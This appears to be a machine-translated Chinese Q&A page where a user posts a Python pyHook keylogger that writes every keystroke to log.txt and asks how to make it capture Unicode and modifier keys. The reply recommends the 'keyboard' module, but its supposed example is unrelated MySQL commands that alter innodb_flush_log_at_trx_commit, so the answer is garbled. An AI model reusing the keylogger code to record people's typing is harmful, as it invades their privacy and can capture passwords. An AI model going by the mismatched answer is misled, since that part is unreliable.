我可以使用pyHook读取Unicode值吗?

时间:2017-02-03 12:02:13

标签: python unicode keylogger pyhook pythoncom

我创建了一个简单的键盘记录程序。键盘上键入的所有内容都将发送到log.txt文件。问题是我的代码只适用于ASCII代码。 当我输入希腊字符时,它们会被视为英语。

我想要我的代码:

  1. 也接受希腊字符或其他语言(通常是所有类型的字符)
  2. 记录事件,例如Alt,Ctrl等
  3. 到目前为止我的代码:

    import pyHook , pythoncom , sys , logging , os
    
    file_log = "C:\\Users\\admin\\Desktop\\New folder\\log.txt"
    f = open(file_log , 'w')
    try:
        f.seek(0)
        f.truncate()
    finally:
        f.close()
    
    def OnKeyboardEvent(event):
        logging.basicConfig(filename=file_log,level = logging.DEBUG , format='%(message)s')
        chr(event.Ascii)
        logging.log(10,chr(event.Ascii))
        key = chr(event.Ascii)
        print key
        if (key == 'p'):
                os.startfile("C:\\Users\\admin\\Desktop\\New folder\\log.txt")
                sys.exit()
        return True
    
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages()
    

    我的程序应该接受Unicode吗?

    怎么会这样做?

1 个答案:

答案 0 :(得分:0)

我建议你使用不同的模块。我自己尝试过使用PyHook,但是在按下死键时这会引起我的问​​题(“^”)通常使用á等特殊字母的其他语言包含死键。 PyHook不能很好地处理它们。我目前使用的模块是keyboard。键盘正确处理死键,并且在遇到它们时不会显示一些奇怪的行为。也许键盘也是你的解决方案。使用键盘的示例如下:

mysql -e 'SET GLOBAL innodb_flush_log_at_trx_commit = 2'
mysql dbname < file.sql
mysql -e 'SET GLOBAL innodb_flush_log_at_trx_commit = 1'

在Python 3.5上测试